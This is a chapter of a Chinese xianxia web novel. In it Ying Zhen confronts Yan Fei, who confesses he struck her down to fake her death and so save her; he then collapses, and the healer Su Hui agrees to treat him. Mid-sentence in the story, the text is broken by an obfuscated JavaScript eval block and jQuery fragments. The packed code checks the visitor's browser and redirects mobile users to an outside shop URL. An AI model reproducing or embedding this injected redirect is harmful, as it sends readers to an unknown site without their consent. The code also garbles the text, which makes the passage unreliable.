隆冬时期,悟缃居窗外已然积起了厚厚的雪,偶尔能听见枯枝不堪重负的断裂声。
炭盆里的火偶尔噼啪一响,溅起几点星火,又迅速暗下去。
新雪簌簌落下,热茶在应珍的手里仍能保持着温度。
“晏斐,那你为什么能笃定我还活着?”
晏斐没有立刻回答。他缓缓抬起眼,目光掠过窗外那株被积雪压弯的梅花,眼神有些涣散。
他应该想到,她的傲骨也不会那般轻易地压弯。
他早就该知道,她那样的人,是不屑用魔功来增进修为,提高境界的。
炉上煨着的茶汤咕嘟着,白雾氤氲,却暖不透他眉宇间的倦意与痛色。
“并非笃定,”晏斐终于开口,声音低沉沙哑,带着久未饮水的干涩,“而是……猜测。”
“猜测?”
“你坠入沧浪海,但无人寻到你的尸骨,这是其一。”这句话他说得还算平稳,但语速缓慢,字与字之间带着轻微的喘息。
应珍沉吟,这倒也是,毕竟死不见尸的,没有人不会多想。
“还有其二?”
悟缃居的炭火和应珍的道源力,温暖且燥热。晏斐将头微微后仰,靠在榻边的软枕上,目光望向屋顶的横梁,仿佛那里写着过往。
“决战那日……我听见了雷声。”
“雷声?”
“唔……”晏斐顿了顿,闭了闭眼,似在回忆,也似在抵抗体内一阵翻涌的痛楚,“两声。不多不少,正好两声。那时我便猜测,你已步入七八境之间的渡劫期。”
渡劫期的人最是脆弱。
应珍的指尖无意识地蜷缩了一下,杯中的茶面漾开细微的涟漪。如若这样解释,倒也能说通晏斐是如何将她“杀死”的。
晏斐说话时,应珍清晰地看到他放在裘毯上的手,指节因用力而微微泛白——他没有说谎。
原来,他是真的没想过杀死她,只是想将她重伤……
只是、重伤?
应珍被自己荒唐的用词逗气笑了。
因为他不想杀她,她就能如此轻易地原谅他?
晏斐给她带来的重伤和生死相比,也只是小巫见大巫而已。
“是以我那日就觉得蹊跷,”晏斐继续说道,声音里渗入一丝压抑的情绪,却因中气不足而显得有些飘忽,“我想,天道公允……怎还会让一个邪修之人……如此轻易地渡过天劫?”
断断续续的声音融进炭火燃烧的噼啪声中,让人觉得很不真实。
晏斐突然抬起眼,目光如冰刃般直直地向应珍刺来,却在触及她面容的瞬间碎裂成复杂的情绪,他的声音也骤然低了下去,带着一种耗尽全力的虚弱与释然:
“我只是……不敢想——”
他几乎是气音地说道,每一个字都轻得快要消散在空气中:
“你从未修习魔功,罢了。”
最后两个字轻得像是叹息,在寒冷的空气里凝成白雾,久久不散。
随着那句轻飘飘的“罢了”落下,悟缃居陷入了更深的寂静,此间,唯有晏斐的呼吸声清晰可闻,带着痛楚,他又极力压力。
至于为何不敢想?承认一个人的堕落,比承认一个世道浑浊来的轻松。
应珍静静地看着他,看着他因忍痛而微颤的睫毛,看着他毫无血色的唇,看着他试图在裘毯下蜷缩起来以抵御体内疼痛的无意识动作。
她对晏斐,有恨,有怨。
应婙殊当年是真的想与这虚伪的道修界决一死战,她若胜了,便能重定道修界的秩序;她若败了,也不必去看那世间的污浊与算计,她便能无愧于师父的嘱托,她也不必恨自己的有心无力。
所以,胜败、生死,她都能坦然地接受。
但她从未想过,第一个将剑尖指向她的人,是她悉心教养的晏斐。
胜败、生死的天平瞬间倾斜。
直面她的晏斐,逃避她的蕴玉,消失的师父,回到剑冢的清夷镰,和光岛仅剩的四人还下落不明。
活在这样的世界里,还有什么意思?
良久,应珍忽然极轻地笑了一声。
“不敢想?”她重复着这三个字,每一个字都像是一片薄冰,“晏斐,你一剑贯穿我胸腔时,你与问尘,可没有半分不敢。”
晏斐身体猛然一僵,随即控制不住地咳嗽,急促、剧烈、不间断地,比之前更厉害,他甚至不得不微微蜷起身子,裘毯滑落些许,露出素色中衣上隐约渗出更深颜色的血迹。
应珍收起了包围在晏斐身边的道源力,问尘剑也随之沉寂。
晏斐用手背抵着唇,待咳喘稍平,手背撤下时,唇角竟真的染上了一抹刺目的红。他看也没看,只是疲惫地闭上眼,声音沙哑得厉害:“那一剑……我必须出……”
“必须?”应珍打断他,声音陡然拔高,她站起身,一步步走到榻前,阴影笼罩住他,“因为所有人都说我应婙殊堕入魔道,证据确凿?还是因为……你作为应天的少宗主,容不得一个邪修玷污你的清誉?要与我划清界限,杀了我就是你个给道修界的投名状?”
晏斐抬头,仰望着应婙殊。
“因为……那是唯一……能让你‘死’在我剑下的方法,”晏斐的气息很是不稳,话语断断续续,却带着一种惊心动魄的力量,“是那时……我能为你寻到的……唯一生机……”
应珍瞳孔骤缩,身形微不可察地晃了一下。
是啊,毕竟道修界的人都是真的想杀死她,而晏斐只是想重伤她。
只是、重伤?
应珍再一次被自己的想法气笑了。
“如此说来,我还应该感谢你了?”她的声音带着难以置信的荒谬感,“将我打落沧浪海,这叫生机?”
“我的剑……刺向的是……你的……左胸……”晏斐艰难地喘息着,努力聚集起落下的道源力,字字清晰地说道,“应婙殊,我自是……知道……你与……常人不同……你的心……长在右边……那一剑……避开了你的心脉……我真不知……自己会……将你伤得……如此之重……我……是真的……想让你……可以从……沧浪海下……逃出生天……这不是……谎话……”
晏斐终于将压抑在心中多年几乎要将他折磨至疯魔的真相说了出来。
他想杀她,是真的。
他不想杀她,也是真的。
“你……”应珍脸上血色尽褪,她喃喃念道。
那些在决战之前,许多被她刻意忽略的的细微异常瞬间涌入脑海。
应珍不是没有怀疑过,只是当年晏斐那决绝的一剑,彻底粉碎了她所有的念想。
“我只要……他们相信……应婙殊……死了……魔……也就死了……重生……或未亡……你都不再是……魔头了……”晏斐扯起一个虚弱的笑容。
“你为何……当年不说?”
晏斐看着应婙殊,他扯出的笑容,混合着唇边的血迹,显得异常刺眼。
“我也是在……那晚……才想出的……此法”他气若游丝,眼神开始有些涣散,“众目睽睽……证据确凿……我若……当场说破……道修界……岂会容你……有坠海……逃生的机会?他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610598|205924||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
……只会补上……真正致命的……一击……”
晏斐努力维持着最后的清醒,目光紧紧锁住应婙殊。
那个他寻找多年,朝思暮想的应婙殊;那个他不恨的,但应该恨着他的应婙殊。
而当晏斐将未宣之于口的解释说出来时,应珍这才恍然大悟,解释其实是有些许意义的。
“应婙殊,我只能……亲手……杀了你……才能……骗过他们……也……才能骗过你……唯有你信了……恨了……这出戏……才够真……你……才有一线……可能活下来……”
话音未落,晏斐便已支撑不住了,猛地喷出一口鲜血,身体软软地倒了下去,裘毯上那暗红的血迹迅速泅开、扩大。
“晏斐!”应珍失声惊呼,那瞬间,所有的恨意和怨怼仿佛都暂时地被这刺目的鲜血冲散。
窗外,风雪叩窗的细碎声响,一阵急,一阵缓。
小筑的门被推开了,寒气冲击了暖意,却让应珍无比心安——宿珲回来了。
“啧,好重的死气。应珍,你怎么去学了阿蔻捡了这么一个不干净的东西回来?”
“请您,救他。”
宿珲将背篓放下,打开被翻得乱七八糟的草药箱,气不打一处出:“为什么?”
“什么为什么?”
“为什么要救他?”
“您是医者,医者仁心……”
“救他,可以,”宿珲再次立起三根手指,“还是老规矩,三件事。”
“你救的是他,不是我!”应珍咬牙切齿。
“诶诶诶,你这副样子是作甚?是你求我救他的,求人就要有求人的态度和礼仪。”
“行……”
宿珲慢悠悠地踱步进来,目光在晏斐惨白的脸和胸前的血迹上扫过:“那你记好了,你现在还差我四件事!”
“好……您可以开始救他了吗?”
“放心,他只是昏了过去,是死不了的。”
“可他伤得很重……”
“重?”宿珲走到榻边,毫不客气地抓起晏斐的手腕,三指搭上脉门,那双看似昏花的老眼微微眯起,之前的闲散之色渐渐收敛又舒展,“与你当年相比只是九牛一毛。”
“……”
“哦对了,这人是谁啊?”
“你连我都敢救,还怕救这样一个看起来就很正派的人?”
“知人知面不知心,救人之前总是要问清楚的。”
“晏斐。”
“就是那个想杀死你的应天宗少宗主,晏斐?”
“嗯,”应珍没好气地踢了一下昏迷在塌的晏斐,“就是他。”
“你要救晏斐?”宿珲狐疑地看着应珍。
应珍略微沉吟:“晏斐这个名字不好,为了从前的事生出许多祸端,既然来到了苍黎洲,他救得换一个名字。”
“嗯?”
应珍看着窗外的竹林,积雪之下,似有新笋即将破土。
“应侍竹,这是他在苍黎洲的新名字。”
宿珲向她竖起一个大拇指:“你比我更厉害,直接将人姓氏也换了去。”
“我毕竟是他的救命恩人,跟着自己的救命恩人姓,也不无道理。”
“是我救了他!”
“行,那便让他欠你三件事吧。”
“……那你便随我姓宿吧。”
“可以,”应珍说得甚是无所谓,“总之,你与我师父是同家,一日为师终身为父,我只当随她姓就好。”
“你!”
……
窗外,风雪逐渐缓和了。